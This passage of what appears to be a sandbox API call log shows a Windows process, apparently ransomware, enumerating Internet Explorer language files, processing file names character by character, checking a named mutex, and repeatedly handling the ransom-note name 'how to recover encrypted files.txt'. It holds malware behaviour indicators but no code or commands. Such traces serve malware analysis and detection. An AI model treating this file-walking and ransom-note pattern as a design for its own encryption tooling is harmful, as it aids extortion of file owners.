lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.947] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ið\x18", lpUsedDefaultChar=0x0) returned 1 [0058.947] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.947] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.947] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.947] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.947] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.947] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="j", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.947] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18e0a4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0058.947] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Internet Explorer\\en-US\\jsdbgui.dll.mui", cchWideChar=56, lpMultiByteStr=0x18e080, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Internet Explorer\\en-US\\jsdbgui.dll.muio", lpUsedDefaultChar=0x0) returned 56 [0058.947] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0058.947] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18e0a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".mui\\jsdbgui.dll.muio", lpUsedDefaultChar=0x0) returned 4 [0058.947] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdebuggeride.dll.mui", cAlternateFileName="")) returned 1 [0058.947] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0058.948] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0058.948] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.948] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.948] GlobalUnlock (hMem=0x440004) returned 0 [0058.948] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.948] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.948] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.948] GlobalUnlock (hMem=0x440004) returned 0 [0058.948] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.948] GlobalUnlock (hMem=0x44000c) returned 0 [0058.948] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.948] CharLowerBuffW (in: lpsz="jsdebuggeride.dll.mui", cchLength=0x15 | out: lpsz="jsdebuggeride.dll.mui") returned 0x15 [0058.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ið\x18", lpUsedDefaultChar=0x0) returned 1 [0058.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ið\x18", lpUsedDefaultChar=0x0) returned 1 [0058.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.949] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.949] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.949] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.949] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.949] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.949] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.949] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.949] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.949] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="j", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.949] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18e0a4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0058.949] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui", cchWideChar=62, lpMultiByteStr=0x18e080, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Internet Explorer\\en-US\\jsdebuggeride.dll.muir", lpUsedDefaultChar=0x0) returned 62 [0058.949] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0058.949] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18e0a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".mui\\jsdebuggeride.dll.muir", lpUsedDefaultChar=0x0) returned 4 [0058.949] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0058.949] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0058.949] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.949] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.949] GlobalUnlock (hMem=0x44000c) returned 0 [0058.949] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.949] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.949] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.949] GlobalUnlock (hMem=0x44000c) returned 0 [0058.949] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.949] GlobalUnlock (hMem=0x440004) returned 0 [0058.949] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.950] CharLowerBuffW (in: lpsz="JSProfilerCore.dll.mui", cchLength=0x16 | out: lpsz="jsprofilercore.dll.mui") returned 0x16 [0058.950] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ið\x18", lpUsedDefaultChar=0x0) returned 1 [0058.950] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.950] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.950] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.950] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.950] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.950] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.950] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.950] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.950] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.950] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.950] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.950] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.950] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.950] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.950] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ið\x18", lpUsedDefaultChar=0x0) returned 1 [0058.950] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.950] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.950] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.950] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.950] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.950] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="j", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.950] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18e0a4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0058.950] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0058.950] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18e0a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".mui\\JSProfilerCore.dll.mui", lpUsedDefaultChar=0x0) returned 4 [0058.950] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0058.950] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0058.950] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.950] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.951] GlobalUnlock (hMem=0x440004) returned 0 [0058.951] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.951] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.951] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.951] GlobalUnlock (hMem=0x440004) returned 0 [0058.951] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.951] GlobalUnlock (hMem=0x44000c) returned 0 [0058.951] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.951] CharLowerBuffW (in: lpsz="jsprofilerui.dll.mui", cchLength=0x14 | out: lpsz="jsprofilerui.dll.mui") returned 0x14 [0058.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ið\x18", lpUsedDefaultChar=0x0) returned 1 [0058.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ið\x18", lpUsedDefaultChar=0x0) returned 1 [0058.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ið\x18", lpUsedDefaultChar=0x0) returned 1 [0058.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="j", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.951] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18e0a4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0058.952] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0058.952] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", 